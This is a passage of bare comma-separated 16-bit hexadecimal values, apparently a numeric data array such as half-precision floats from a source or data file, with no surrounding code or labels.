0xc43b, 0xbced, 0x4147, 0x4032, 0x3cb3, 0x3d31, 0x382f, 0x34ec,
0x3a6c, 0xc11e, 0xb8c3, 0x4364, 0x3f1c, 0x3916, 0xc1cc, 0xb563,
0xc57d, 0x360a, 0x4004, 0xaabb, 0x3889, 0xb84c, 0x3c74, 0x443d,
0xbabc, 0x3f4f, 0x3a84, 0xba2b, 0x3c18, 0xc177, 0x3783, 0x31a6,
0x4128, 0xb8e2, 0x3ac0, 0x3a5a, 0x4018, 0xa2ce, 0xc0eb, 0xc458,
0x427a, 0xb972, 0x40b8, 0xbacf, 0xbdc6, 0xbb66, 0x3dca, 0x3792,
0x3ae8, 0xba0a, 0xbf8c, 0xc241, 0x3ecd, 0xaff6, 0xc085, 0x4567,
0xc10b, 0x3a35, 0x459b, 0xc26d, 0x404a, 0x3303, 0xbb62, 0xb81b,
0x3ff8, 0x44f0, 0x3ea6, 0x40ee, 0xb2d2, 0xc571, 0xbcfa, 0x282f,
0xc484, 0x4002, 0x410a, 0xbfef, 0x4001, 0xbed1, 0xb84c, 0xb5d5,
0x38dc, 0x44bd, 0xbf11, 0xb6c2, 0xc5fb, 0x3e04, 0xbc3b, 0xbf30,
0xbf9f, 0x3d8f, 0x36c9, 0xb909, 0xc008, 0x434d, 0xb08f, 0xabb7,
0xbc64, 0x433e, 0x3d6d, 0xb380, 0x3836, 0x392e, 0x34c6, 0xb39e,
0x3c3b, 0x44ec, 0x3373, 0xbf13, 0x42ce, 0xbd7e, 0x3233, 0xc17f,
0xc403, 0xc20e, 0x3440, 0x4221, 0xc029, 0x3e97, 0x36f3, 0x434d,
0xb8e1, 0x39ac, 0xbdc7, 0xc01e, 0xc664, 0xbcaa, 0xc1e5, 0x4191,
0x3e0c, 0x3a02, 0xbc43, 0xad53, 0x3eb9, 0xbd8e, 0x36af, 0x41a9,
0xaa53, 0x4208, 0x40c1, 0xba58, 0x4466, 0x42d2, 0x3f43, 0xc174,
0x40fe, 0xc315, 0xbc32, 0xb783, 0x4108, 0xb004, 0x3d50, 0xb966,
0xb54b, 0xb7b4, 0xc2ac, 0xc4bc, 0xbf60, 0x4184, 0x3067, 0x2bca,
0x4304, 0xae1d, 0x4072, 0xb420, 0x458f, 0x3765, 0xbf8d, 0xc028,
0xbc1c, 0x3bab, 0x3fd8, 0xc7ba, 0xb564, 0x3967, 0x3ca4, 0xc0d0,
0xc0cc, 0x30ff, 0x3627, 0xc361, 0xc25d, 0xbef5, 0xc18b, 0x4356,
0xba5c, 0xbe08, 0x40c9, 0x3843, 0x3d6c, 0xbd67, 0xbbe2, 0x4438,
0x3ee7, 0xc07c, 0x41f3, 0x3ce0, 0x40e8, 0x3d0d, 0xbe37, 0xc25f,
0x4080, 0x3faa, 0xc211, 0xc0f1, 0xaca3, 0xbdf7, 0xc088, 0xbcbe,
0x3f73, 0xc330, 0xc0b2, 0xc0bd, 0xbcf8, 0x3de3, 0xbfa4, 0x359b,
0x41e8, 0xc118, 0x4187, 0x3dc3, 0xc11c, 0x4116, 0x3e8e, 0xc258,
0x3fba, 0x3d4e, 0x4163, 0x40e2, 0xbc2d, 0xbc68, 0xc1c0, 0x3e66,
0xc12e, 0x414e, 0xbb98, 0xbf0e, 0x3fa4, 0xb086, 0xbf71, 0xbd82,
0x4596, 0xc27f, 0xb51b, 0xbfbd, 0xc25f, 0xc24b, 0xbe3e, 0xb806,
0x3d8a, 0xb42c, 0x4174, 0xbb1e, 0xba82, 0x3a1a, 0x3fc2, 0x405d,
0xc178, 0xc1a0, 0xc098, 0x440c, 0xc09a, 0x3d45, 0x4271, 0x2c1e,
0x403e, 0xc440, 0x4034, 0xbd13, 0x34e7, 0x3938, 0xc044, 0xc6af,
0xbb09, 0x416a, 0x3c5e, 0xbcaa, 0xb9bc, 0xc046, 0xba96, 0x4223,
0x38ce, 0xb5b7, 0x4478, 0xb8e8, 0x3c24, 0x4240, 0x404b, 0x389a,
0xc1b2, 0x391f, 0xc188, 0xbf6f, 0x45cf, 0xbc37, 0xb92e, 0xc023,
0x4007, 0xb216, 0xb600, 0x4112, 0x372b, 0x38f9, 0x3641, 0x42aa,
0xba29, 0xbe4b, 0xb2aa, 0xc4de, 0x3f9f, 0xc37c, 0xc05a, 0x45b1,
0x418d, 0x351e, 0x35cb, 0x33ec, 0x40fc, 0x34e2, 0x3787, 0x430c,
0x3125, 0x3e4e, 0xb5dc, 0xbdc9, 0xb920, 0xbec8, 0xb822, 0x3b75,
0x3d3b, 0x408c, 0x43ac, 0xbd1b, 0x3ebc, 0xbc42, 0x412e, 0x36d7,
0xbc72, 0xc090, 0xbe6c, 0xbe5f, 0x3e73, 0xb66b, 0x3f20, 0xba90,
0xc00f, 0x40f0, 0x34f3, 0xa925, 0xc25e, 0x41a1, 0x35e4, 0xc1be,
0x3aad, 0x2f85, 0x407c, 0xb5d0, 0xbeb2, 0xb063, 0xc38b, 0xc194,
0xb9e2, 0xc13e, 0xbd63, 0x3c89, 0xbbd8, 0x3b0b, 0x3a24, 0x3e5e,
0x40db, 0xbbbd, 0x411f, 0x3efa, 0xbb4d, 0x44c8, 0xc07a, 0xb86c,
0xb93d, 0x40f0, 0x3d90, 0xc006, 0xbf5f, 0x452d, 0xc04f, 0xb9b1,
0xc0e8, 0xb4c8, 0x4644, 0xc25a, 0xc401, 0x3e93, 0x3946, 0xbee0,
0xc440, 0xb808, 0x40ef, 0xb94b, 0x3fe5, 0x2ef7, 0x3cd6, 0x40df,
0x3abf, 0x3fd4, 0x3b6c, 0xb8d0, 0x3ce4, 0x4465, 0x41a5, 0x3b0c,
0xc47b, 0x41ac, 0x3ccc, 0xbca4, 0x3812, 0xc0bf, 0x35ed, 0xc1d0,
0x3b6a, 0x3cbc, 0x40e4, 0xc2a0, 0x3465, 0x3e4d, 0x2ca1, 0xc050,
0x401b, 0xc01f, 0x4266, 0xbf8f, 0xb9b1, 0xc2ce, 0xba1f, 0x3833,
0x434d, 0xc2fd, 0xbe3f, 0xbd11, 0xc46a, 0xc542, 0xb933, 0xc47b,
0x4328, 0x3afc, 0x4465, 0xa8c5, 0x3e0e, 0x3f55, 0x440d, 0xbbb6,
0x23ab, 0x411e, 0x32ec, 0x3dbb, 0xc085, 0xc29e, 0x3d20, 0x4475,
0xbc6c, 0x4575, 0x417f, 0x4440, 0xbc94, 0x3bdd, 0x40ba, 0xac3d,
0xb02f, 0x41cf, 0x39ea, 0xc261, 0x426f, 0xb4c3, 0x419e, 0x335b,
0xbed5, 0xc20b, 0x4038, 0x3db4, 0x2ed9, 0x38bb, 0x3e06, 0xc25e,
0xb96f, 0x351a, 0x425a, 0xbe50, 0xbeea, 0xc14f, 0xbdeb, 0xbbc9,
0xbdad, 0x329e, 0x439e, 0xc10d, 0x3896, 0xc5aa, 0x3bcb, 0x3c30,
0xa3d5, 0xbcd9, 0x464c, 0x401a, 0x3117, 0xc164, 0x4572, 0x4575,
0xc189, 0xa49c, 0xbe80, 0xb8c5, 0x3da2, 0xbe6f, 0x42ef, 0x38a7,
0xc515, 0x3371, 0xbe5e, 0x3fa2, 0x30d4, 0x35fb, 0x424c, 0xc0e8,
0xc35e, 0xbcde, 0xc3f4, 0x34f3, 0x3e2d, 0x3dcc, 0x3c44, 0x3b5e,
0xbe82, 0xbb3f, 0x3a0a, 0xc17a, 0xc477, 0xbf88, 0xbe88, 0xaddf,
0xb5a9, 0x3d09, 0x3ec0, 0x39f8, 0xc4de, 0x38b2, 0x40ef, 0xbb7a,
0xbe7c, 0xc107, 0x359c, 0x40f9, 0x4214, 0xc287, 0xc138, 0xbdd3,
0x37c8, 0x425e, 0x342e, 0xbc8c, 0x3ff3, 0xbc03, 0xc2fe, 0xbacd,
0x3759, 0xb154, 0x3f21, 0x3f0c, 0x386d, 0x4408, 0x2d05, 0xbf82,
0xb722, 0x9fe0, 0x2cdf, 0x39fc, 0xb382, 0x3d55, 0xbb3f, 0x4174,
0x40d8, 0x340d, 0x3b22, 0x3d5c, 0xc3c4, 0xc063, 0xc088, 0x41d1,
0xc6e0, 0x962f, 0xc005, 0x3cec, 0xbe49, 0x4053, 0xadb4, 0x3d2d,
0x42ca, 0x3ac8, 0xc102, 0xb2e9, 0x441e, 0x40a4, 0xaba7, 0xbf4a,
0xb7a5, 0x43dd, 0xbbbb, 0x44f5, 0xc459, 0xc271, 0x412b, 0xbe8c,
0x405e, 0xc563, 0x3f11, 0xc51e, 0xb8d0, 0x416e, 0x3d13, 0xb7fd,
0xbcf8, 0x42fe, 0x3c52, 0xc016, 0xc0f5, 0x41ae, 0xbff8, 0xb6b0,
0xbacc, 0xb7a8, 0xbd41, 0xbdb7, 0xc566, 0x3f85, 0x41ed, 0xb166,
0x30da, 0xc212, 0x3a36, 0x2346, 0xc01f, 0x3cf7, 0x3d28, 0x3c17,
0x4174, 0x3d01, 0xc1c5, 0xbd3d, 0xb823, 0xc484, 0xc043, 0xbf82,
0xbd60, 0x3ecb, 0xbc4a, 0xc31c, 0x4283, 0x2a2f, 0xbfc5, 0x3580,
0xc32c, 0xaf3b, 0x3f06, 0xbb95, 0xb8cf, 0xb9a7, 0x3fc1, 0xc063,
0xbd5a, 0x3de8, 0x4416, 0xbc96, 0x3b52, 0x3e21, 0x3ea3, 0x38a7,
0x4214, 0xbc23, 0x42f9, 0x3d72, 0x1f31, 0x3a92, 0x43a7, 0x3e6d,
0xc0b7, 0xc43e, 0x1f18, 0xc43b, 0xc0e2, 0xc072, 0xbdf2, 0x4502,
0x3bf4, 0xbe58, 0x2fb4, 0x3c4f, 0x37c3, 0xb9de, 0x3cd8, 0x4117,
0xb867, 0x3d48, 0xbc4e, 0x3d6f, 0xba24, 0x4173, 0xbc2f, 0x9eb9,
0xc23d, 0x3c33, 0x4064, 0xb638, 0x382a, 0xc3e7, 0x4155, 0x31b3,
0xc0f4, 0x4180, 0xb7f0, 0x3873, 0xb893, 0x3b50, 0xbac9, 0x34a8,
0x3c7b, 0x3849, 0x307b, 0x3ca7, 0xc261, 0xc316, 0xc3dc, 0xc332,
0x36f5, 0x37ed, 0xb565, 0x3926, 0xb7cd, 0xaf49, 0x4050, 0x410f,
0xc0c7, 0x4612, 0xb145, 0xb95d, 0xc463, 0xc270, 0x4229, 0x46a7,
0x3e1b, 0xc2a5, 0xbd4e, 0xc0b1, 0x39b8, 0x3d52, 0x386b, 0x3e52,
0x378e, 0x3741, 0x35c9, 0x449c, 0xb476, 0xb6a9, 0xc14d, 0xb8e9,
0xc2f9, 0x3855, 0xc036, 0xbe9a, 0xb29d, 0xbc5a, 0xc162, 0x3626,
0x420d, 0x410e, 0x3845, 0x42c0, 0x426e, 0x3cd3, 0x3962, 0x351a,
0x44c6, 0x4427, 0x3745, 0xbb87, 0xbaa4, 0xade5, 0x3d67, 0x4142,
0xbc8e, 0xa628, 0x3cea, 0x32d3, 0x44ec, 0x4508, 0xc186, 0xb899,
0x44ca, 0xbc84, 0xbe34, 0x41d9, 0xaaee, 0xc15b, 0x4331, 0x4221,
0xbd12, 0xc117, 0xc2ed, 0xc23a, 0xbe8f, 0xbe1c, 0x30bb, 0x35df,
0x34fc, 0xbab3, 0x425d, 0xbacd, 0xc064, 0xc525, 0x3f51, 0x40a8,
0x4301, 0x3eec, 0xc1e5, 0x3c5f, 0xc39f, 0xc1bc, 0xc16f, 0xc15c,
0xbde5, 0x3c8b, 0x2f2e, 0x296a, 0x4407, 0xc32e, 0x3a9d, 0x341c,
0x4317, 0xbeb7, 0xc366, 0x3811, 0x422b, 0x4089, 0xbf69, 0x3ffa,
0x3f55, 0x3f77, 0xb516, 0x3d29, 0x3a4e, 0xbc95, 0x4154, 0xc15d,
0xb663, 0xe59a, 0x42df, 0xbfee, 0x40f6, 0x3def, 0xc1ce, 0xbc6f,
0x40c0, 0x3b59, 0xc04b, 0xbf27, 0xc4ab, 0x42d7, 0xc11c, 0x4293,
0xc1fa, 0x4250, 0x24a0, 0x433d, 0xbe24, 0x4015, 0x3e64, 0xc3ba,
0xc491, 0xc0ac, 0xc0ba, 0x4027, 0x3ed3, 0xb6ac, 0x3b10, 0xb95a,
0x3698, 0xc3e5, 0xc683, 0x3f40, 0xc4b6, 0xbd6b, 0x37be, 0x40a9,
0xbcfd, 0xb5bb, 0x439a, 0xbebb, 0x3ec6, 0x3c3e, 0xb5f7, 0x4126,
0x3889, 0xc05e, 0x41be, 0x4598, 0xbe9b, 0x410d, 0xb6f4, 0xbc1e,
0xbbd5, 0xc156, 0x402c, 0x3a14, 0xc0f6, 0xbf82, 0x3c8b, 0xc2ed,
0x3921, 0x3bb5, 0xc486, 0xbe17, 0x3eb6, 0xbb0e, 0x437f, 0xc003,
0xbb28, 0xba71, 0xb886, 0x3e95, 0xbf10, 0xc490, 0x3d49, 0xc197,
0xb833, 0x3f66, 0xbef1, 0xc2c7, 0x9bf8, 0xc307, 0x3c21, 0xc22f,
0xbd82, 0xbb03, 0xbee7, 0x41d6, 0x3df7, 0xbeef, 0xb9ce, 0xbbe9,
0x31a8, 0x409d, 0xb609, 0xb989, 0xb429, 0x3a75, 0x3c8b, 0x3a2e,
0xc207, 0x3056, 0x3a84, 0xbc48, 0x3103, 0x3327, 0xb44f, 0x37ce,
0xb8d1, 0x3588, 0x4033, 0x37d9, 0x3db4, 0x3ec7, 0x2c51, 0xc33e,
0xbc7b, 0x3d59, 0xb9a5, 0x4122, 0x3c24, 0x4483, 0xc363, 0xc12c,
0x4337, 0x2afb, 0xc396, 0x3506, 0x3d9b, 0xbfe4, 0x3d00, 0x40b2,
0x41ee, 0x403b, 0x4089, 0xbf65, 0xbfe1, 0x388e, 0x3a2f, 0x440e,
0xc1c6, 0xc38d, 0xb7ba, 0x21c3, 0x41c9, 0x426d, 0xc03c, 0xc148,
0xbc3d, 0x4059, 0x3963, 0xb951, 0xbc61, 0xbb62, 0xc134, 0x358e,
0x3c5d, 0x418e, 0xbcb6, 0xbab2, 0xbc2b, 0x460d, 0x447f, 0x41c6,
0xbe61, 0x4237, 0x3878, 0x38ff, 0x37d2, 0x3fce, 0x23d1, 0xbb9e,
0xbc0d, 0x3fb3, 0x31c2, 0xb8db, 0xbd9e, 0xc006, 0x3e00, 0xba50,
0x3dca, 0x37cb, 0xc4fa, 0x3b31, 0x36a3, 0x3c0f, 0x40d2, 0x40da,
0x4209, 0x3dd4, 0x44f3, 0x3b2a, 0xafaa, 0xba1f, 0x4420, 0xc55c,
0xc22e, 0xbd66, 0x40d8, 0x40a0, 0xc2d7, 0xb90f, 0xc36f, 0x40c5,
0x376c, 0x343a, 0xb7bd, 0xc100, 0xb312, 0x3826, 0x446d, 0xbfcf,
0x3356, 0x3905, 0xc121, 0xc0d3, 0x299e, 0x433f, 0xc408, 0x455f,
0xc272, 0x3ed9, 0xbe56, 0x4497, 0x3620, 0x3f72, 0xbe4f, 0xbe4e,
0x42fe, 0xc206, 0x41aa, 0xbc0c, 0x3f90, 0x41ae, 0xb088, 0x449c,
0xc027, 0xba58, 0x4451, 0xc0fc, 0x400e, 0x3643, 0xb91b, 0x3cd4,
0x3c83, 0xc087, 0x3c31, 0x41db, 0x457a, 0x3d9e, 0xbe0a, 0xba46,
0x442e, 0x37d3, 0x3efb, 0xbd0a, 0xb63c, 0xbe73, 0x3589, 0x3b40,
0xb676, 0xc4e1, 0xb99d, 0x394b, 0xbf25, 0xb125, 0x41b3, 0x3b1f,
0xbf2b, 0x4034, 0xc381, 0x2d1c, 0xbee5, 0x3446, 0xb4da, 0x386f,
0xb718, 0xbf0d, 0x3708, 0xc0dc, 0xb5f5, 0xc00b, 0x3c95, 0x3a04,
0x41e4, 0xc132, 0xc069, 0xb40d, 0xc04a, 0x2f4f, 0xc3d7, 0xbc20,
0x406f, 0xbd59, 0xc471, 0xb26c, 0x3c57, 0xba06, 0x42cd, 0x364f,
0xc4a6, 0x4344, 0x3eb0, 0xb030, 0x4083, 0xbe4c, 0x40a0, 0x3f1e,
0x39cb, 0xb828, 0x354c, 0x4555, 0x3b6a, 0xbb1c, 0xc2f2, 0x3816,
0x40b4, 0x37c8, 0xb0d5, 0xb9ee, 0xbb02, 0x40df, 0x32ba, 0xc294,
0x3ec1, 0xc433, 0xbe4c, 0x3660, 0xb95d, 0xc2db, 0xc138, 0x923f,
0x42db, 0xb012, 0x41b2, 0x417e, 0x4120, 0xb461, 0xbe16, 0x3dd8,
0xc2ae, 0x3a73, 0x4131, 0x3cef, 0x386d, 0x3d79, 0x3ca1, 0xc461,
0x43c5, 0xae38, 0x38b0, 0xb819, 0xc0a5, 0xc20f, 0xc2fa, 0x3fa9,
0x3eaa, 0xa57e, 0x3b3b, 0x3c9a, 0x427e, 0xbc23, 0xc22b, 0x4124,
0xbe1a, 0x330b, 0xb03e, 0x383f, 0xc004, 0xbda3, 0xbcf9, 0xc5a2,
0x3e58, 0xc4a1, 0x3acf, 0xc120, 0xbfb8, 0x416c, 0xbbfc, 0xc006,
0x3d30, 0x3d69, 0x41d7, 0x40c6, 0x406f, 0xbc67, 0x4116, 0xb5c9,
0xaf89, 0xb103, 0x3c8c, 0xc10b, 0xbd15, 0x402d, 0x4395, 0xc031,
0x38a3, 0x4040, 0xbc1a, 0xabef, 0x4150, 0xbb04, 0x3d12, 0xba93,
0xbd6f, 0x33b6, 0x3e4d, 0x415d, 0xac78, 0xc152, 0x4144, 0x39d5,
0x3b42, 0x3df9, 0x3c15, 0xbc7d, 0x4649, 0x3d45, 0xc187, 0x4481,
0xc1c3, 0x34ba, 0x43ab, 0x3090, 0x3c22, 0xbbc2, 0x3ea7, 0x388b,
0x3c39, 0xbfab, 0x3566, 0xbdcd, 0x3e08, 0xb919, 0xb84a, 0xc189,
0x3ae9, 0x41b8, 0xbcbd, 0x3c99, 0x44a7, 0xc4e5, 0xc46d, 0x341a,
0xb815, 0x4045, 0xb316, 0xc0b3, 0xc22a, 0xc148, 0x448f, 0xbccf,
0x3c99, 0xb427, 0x4252, 0xc336, 0x469a, 0x4004, 0x3ece, 0xb54f,
0xc164, 0xbe6d, 0x4184, 0xc0ec, 0x40c5, 0x4180, 0x3e4d, 0x359e,
0xc363, 0x352e, 0xc40d, 0x3560, 0xbe9b, 0xbcdd, 0x3ee0, 0xc0f0,
0x3b9a, 0xbd50, 0x3127, 0x407b, 0xae58, 0xac1a, 0xc5a5, 0xc085,
0x3a2a, 0x38c5, 0x3c98, 0xb6ea, 0xc42a, 0xc240, 0xba8c, 0xbc9d,
0xb1f3, 0x3eb0, 0x4369, 0xc0e3, 0xbe05, 0x3de2, 0x3c8e, 0xa902,
0xbd79, 0xba48, 0x418d, 0x384d, 0xc11a, 0x4633, 0x3d1b, 0x3129,
0xb5b8, 0x34f6, 0x33e4, 0xb964, 0xb370, 0x3e62, 0xc270, 0xc221,
0xba85, 0x3d12, 0xbb26, 0xbf25, 0x3dc7, 0x3ccc, 0x38b1, 0xab0f,
0x3e33, 0x3833, 0x428e, 0xbd0c, 0x4053, 0xbef9, 0xbc1a, 0x309a,
0xc18c, 0x4152, 0xba96, 0xc2b6, 0xb409, 0x26b1, 0xc00a, 0x41b7,
0xc0df, 0x3faf, 0x41f1, 0xb839, 0x3f5c, 0xc23f, 0x3092, 0x3d5a,
0x41c3, 0x3d7a, 0x3c2d, 0x3ef6, 0x3d7c, 0xbaf8, 0x4446, 0x4243,
0x2e4a, 0x31da, 0x44a6, 0x3a2d, 0x4003, 0x3e06, 0x34cf, 0xbdd5,
0xc107, 0x3ae4, 0xc1b5, 0xbd0d, 0xb5f3, 0xb65c, 0xbca6, 0xb40e,
0xbe22, 0xc048, 0x3d32, 0x38b5, 0x3a2f, 0xbba9, 0xbe8e, 0xc0f7,
0xb4b1, 0xbe56, 0x3c58, 0x3da4, 0x3d62, 0x3a14, 0xc2a9, 0xc46f,
0x42a7, 0xb158, 0x3520, 0xc00c, 0xc31c, 0xb5e2, 0xc064, 0x44a1,
0xbf65, 0xbbb7, 0xbca1, 0x379b, 0x383d, 0xb8ea, 0xc1b5, 0x4703,
0x3cc9, 0xc1aa, 0x408a, 0xb8b8, 0x4328, 0xc41f, 0xbf58, 0xbd38,
0xb9a4, 0x4054, 0x40f5, 0xbaf8, 0x4514, 0xb0e6, 0xbeac, 0xb2d7,
0x37f7, 0xb9a2, 0x4488, 0x38cc, 0x45fe, 0x41e8, 0xbe1f, 0x4091,
0xbe84, 0x4586, 0xc412, 0xbb55, 0x3e85, 0x3c2e, 0xbd85, 0x3abd,
0x3bb3, 0x398e, 0xb7d9, 0xbda4, 0x367d, 0x442e, 0x400c, 0x4326,
0xc16c, 0xbe6f, 0xb7e6, 0x4494, 0xbd87, 0xb977, 0xc4ff, 0xc035,
0x426e, 0xbf8e, 0xc448, 0xbd9f, 0xc263, 0xbd0c, 0xbf10, 0x4472,
0xb9db, 0xbda8, 0x3df9, 0x43b0, 0xbc81, 0x3dec, 0xbb4d, 0xc0fe,
0x360b, 0xb0e2, 0xb47e, 0xb9d0, 0x4336, 0xbcc5, 0xc104, 0x3f47,
0x4068, 0xc2c5, 0xbfb0, 0x4110, 0xbd90, 0xbfa3, 0x3fb6, 0x2c06,
0xc16f, 0xc443, 0x3c88, 0x4224, 0x4152, 0x33f2, 0x3f9f, 0xb927,
0xbdd6, 0xc29c, 0x4048, 0x3b5d, 0x40a4, 0xbd79, 0x40e5, 0xbf17,
0xc3a5, 0x3c70, 0x44db, 0xc418, 0x34c9, 0xb2d7, 0x3d0a, 0x41a1,
0x4399, 0xb7e9, 0xc38f, 0xc17e, 0xc41e, 0x42c5, 0xc45d, 0xc01c,
0xc019, 0x3ffc, 0x3955, 0xba5e, 0x37d3, 0x3dbe, 0x2cf0, 0x349e,
0xbcbf, 0xbd67, 0xbfc1, 0xbe7c, 0xb8e6, 0xbd54, 0x41fe, 0xbf33,
0xbdc2, 0xbf9b, 0x3167, 0x44da, 0x3c6d, 0xb8c1, 0x36c8, 0xb8ac,
0xb406, 0xc3b9, 0xc0e1, 0xb803, 0xc245, 0x3ea0, 0x4296, 0x46c8,
0x41bf, 0x40ca, 0x35ad, 0x3d38, 0xb4db, 0x4271, 0xb463, 0x3979,
0x2fbe, 0xbb6f, 0xb521, 0xb129, 0xba77, 0xbb55, 0x41fb, 0xbda5,
0x40af, 0x4021, 0x3d0b, 0xb35c, 0xb4ad, 0x37f0, 0xc0dd, 0x3d81,
0x4102, 0x3a78, 0x3de6, 0xb631, 0xbd68, 0x378e, 0x4066, 0xc096,
0xb297, 0x38ad, 0xbe40, 0x391b, 0x307d, 0x3c08, 0x3d30, 0xb4c4,
0xc146, 0xbe98, 0x3e64, 0xc195, 0x4317, 0xbca0, 0x4021, 0x42bd,
0xbbbc, 0xc1c2, 0xbc49, 0x4097, 0x442b, 0xb8e6, 0xbc69, 0x3bab,
0xc0ce, 0x3ca5, 0xb709, 0xbf4e, 0x3c68, 0xb781, 0xc019, 0xbd39,
0x371f, 0x4090, 0x3a84, 0x3eed, 0xbb45, 0xae5d, 0x4168, 0x38d7,
0xc164, 0xbcad, 0xbb2c, 0xc02b, 0xbda8, 0x416c, 0xbfac, 0xb418,
0xb41c, 0x425f, 0xb876, 0x31da, 0x3d82, 0xb444, 0x345a, 0xc106,
0xbabd, 0x3e28, 0x38d1, 0x3292, 0x44bd, 0x3c93, 0x40e8, 0x3ec7,
0x396b, 0xb84d, 0x38c5, 0x3e65, 0xc055, 0xc3d4, 0x4424, 0xbbf6,
0xb1ef, 0xbb47, 0xbd36, 0xbd0a, 0xbbe0, 0xb8ea, 0x3c98, 0xb83f,
0xc00b, 0x3c72, 0x3ff0, 0xacfa, 0x388a, 0x400f, 0x2e7c, 0xbd3d,
0x445c, 0x3fb5, 0xbdb1, 0x3aaf, 0x3c55, 0xbd11, 0xbe40, 0xb9c9,
0xbfb2, 0xc200, 0x3b50, 0x4194, 0xc34e, 0xbbd8, 0x3ad6, 0xb6cf,
0x40fc, 0x3146, 0x3a11, 0xabbd, 0xbb0d, 0xc633, 0xb8eb, 0x3476,
0x3faf, 0x42d3, 0x9c05, 0x3c3b, 0xb821, 0x44ff, 0x41ba, 0x44c2,
0xb2a9, 0x3e4d, 0xc217, 0xbe0a, 0xb463, 0xc2f6, 0x41ab, 0xc3d2,
0x3cf6, 0x3d0f, 0xc1cd, 0xbe41, 0x4064, 0x4071, 0x3071, 0x3eb4,
0xc0c4, 0xbc5b, 0x3bc5, 0xc12e, 0xbd4e, 0x37fc, 0x3df6, 0x3f1b,
0x3535, 0xc2ac, 0x3a37, 0xb91c, 0xbd41, 0x4137, 0x416f, 0x3a34,
0x3d7f, 0x434c, 0x4227, 0x430d, 0xba55, 0x41fb, 0xc2b0, 0x3570,
0xc287, 0x3a36, 0xb9dd, 0xaffe, 0xc0ac, 0x3e80, 0xbfae, 0x3c2d,
0xb565, 0x3dd0, 0x3c13, 0x41da, 0x3a98, 0x3dd8, 0xb0a9, 0xbcc6,
0x3e79, 0x3b9c, 0x3d84, 0xba39, 0xbbe4, 0xc000, 0xbfdc, 0x4306,
0x43cc, 0xb61f, 0x3e53, 0x3ad7, 0xb774, 0x3654, 0x4626, 0xb8e6,
0xb937, 0xb7b6, 0xc031, 0x2561, 0xc17d, 0xc017, 0x4623, 0xbc24,
0x3d31, 0x4478, 0x455d, 0x4572, 0xbbec, 0x3f5a, 0xc251, 0xc4e3,
0xc1bb, 0x4113, 0xb7dd, 0x3a3e, 0x39b0, 0xb38c, 0xbc32, 0xc18b,
0xbd7d, 0xbe59, 0xbc31, 0xbce0, 0xbc19, 0x3a79, 0xbfdc, 0xc18c,
0x4407, 0xa68c, 0xbf04, 0x311a, 0x2eff, 0xb65c, 0xc03c, 0xb904,
0x3f68, 0xbf65, 0xc00e, 0xb8ef, 0xbf49, 0xb6b2, 0xb15a, 0xb79c,
0xbd73, 0x3951, 0x3c34, 0x3538, 0x3c9f, 0x414a, 0xbe25, 0xc45a,
0x455e, 0xc2a9, 0xbd20, 0x2ed3, 0x3e77, 0xc078, 0x4094, 0x3dbb,
0x2eb5, 0x4175, 0x41e6, 0x4001, 0x37b4, 0xba40, 0x3d8e, 0x3d73,
0xb8d9, 0x391b, 0x32a8, 0x3d9f, 0xb65b, 0x3e09, 0x35bb, 0xc4cf,
0x2a76, 0xb339, 0xbff5, 0x3504, 0xb6ef, 0x38f9, 0x37da, 0x4298,
0x4288, 0x41ec, 0xbae7, 0x410b, 0xb65e, 0xc09b, 0x446a, 0xbc6d,
0x4095, 0xc06a, 0x41b0, 0x3b0a, 0x37c3, 0xba0f, 0xb965, 0xb6d9,
0x3e30, 0x34b6, 0x3ff0, 0x4330, 0x4083, 0x2425, 0xc04b, 0x3c85,
0x388b, 0x3ff6, 0xc554, 0xc189, 0xc061, 0xb79a, 0x384a, 0x40e0,
0x458a, 0x3d83, 0xc334, 0x4465, 0x4231, 0xbf78, 0x2303, 0xb73f,
0xc2f9, 0xbcfb, 0x4177, 0xc350, 0xba1b, 0x387e, 0xc1e6, 0x3db9,
0x3e27, 0xc07e, 0xc3bb, 0xc0ee, 0xb89d, 0x340a, 0xbe90, 0x3aba,
0xc4c1, 0x40d2, 0xc419, 0x38d5, 0xbf1c, 0x3ef1, 0xbc9f, 0xa262,
0x4040, 0x44e9, 0xb6e8, 0xc0df, 0x34a6, 0xbb9a, 0x4407, 0x41bc,
0xbea6, 0x3cda, 0xc0b6, 0xbb91, 0xb81e, 0x3552, 0x3ac1, 0x41d6,
0x3943, 0xc0e9, 0xc0c5, 0xb686, 0xc4d1, 0xb25d, 0xb33f, 0xb606,
0x3ec5, 0x4499, 0x40ce, 0xc01d, 0xbb54, 0x3e09, 0x4329, 0x352e,
0xaad1, 0x41d9, 0x3acc, 0xc325, 0xbdf0, 0xc161, 0xc074, 0x3806,
0xbde5, 0x2f6f, 0x4196, 0xbdf5, 0x4238, 0x3de8, 0xbc30, 0x3bca,
0x3a19, 0xb5a8, 0xc63e, 0xbd48, 0x3a72, 0x4186, 0x41dc, 0xac31,
0xb4e6, 0x44d2, 0xc196, 0x3ad4, 0x448a, 0x43d9, 0xbc37, 0x45e3,
0xb3d3, 0xafd7, 0x41e5, 0x3efa, 0xb8d8, 0x38b0, 0x3ced, 0x35a4,
0x3e57, 0x415e, 0x4478, 0xbf7f, 0x430c, 0x3dd5, 0xbf0b, 0xb1d9,
0xba65, 0x4158, 0xba4e, 0x356f, 0xc0f0, 0xc5bd, 0x3980, 0x2be4,
0x3e2e, 0x411a, 0xbc24, 0xad44, 0xbc5d, 0x3d62, 0xc2a8, 0xbebb,
0xba27, 0x34c5, 0x42bc, 0xc356, 0x41ff, 0x3771, 0x3cfd, 0xc43f,
0xb835, 0x40fa, 0xbc09, 0xc1d8, 0x3f70, 0xb873, 0x450e, 0xc3ac,
0x3e53, 0x3637, 0xc51d, 0xb584, 0xbf22, 0x36fb, 0x342f, 0xc131,
0xc4a5, 0xbd2f, 0xbf1b, 0x3c6c, 0xc2fb, 0x392a, 0xb304, 0x4337,
0x3ce5, 0x38e0, 0xbd94, 0xbbc6, 0xc35a, 0x2b0c, 0xc1e5, 0xbb46,
0x4443, 0x3ea0, 0xc178, 0xba25, 0xc19c, 0x3991, 0x40e8, 0x4236,
0xbed6, 0xaf69, 0xb5a2, 0xab83, 0xc277, 0xbf8a, 0xbc5e, 0x431a,
0xbc5e, 0x3b36, 0x385a, 0xbecb, 0xb0d5, 0xb2a8, 0xbce8, 0x4095,
0x4171, 0x38a6, 0xbe64, 0x3cb2, 0xbc17, 0xc184, 0x36f1, 0xbe46,
0x3939, 0xbf60, 0x440f, 0xbfac, 0xbfee, 0xb39c, 0x3ab5, 0xb76a,
0x401b, 0xbe7d, 0x3e2d, 0xba99, 0xbc81, 0x443b, 0xb9fe, 0x42c8,
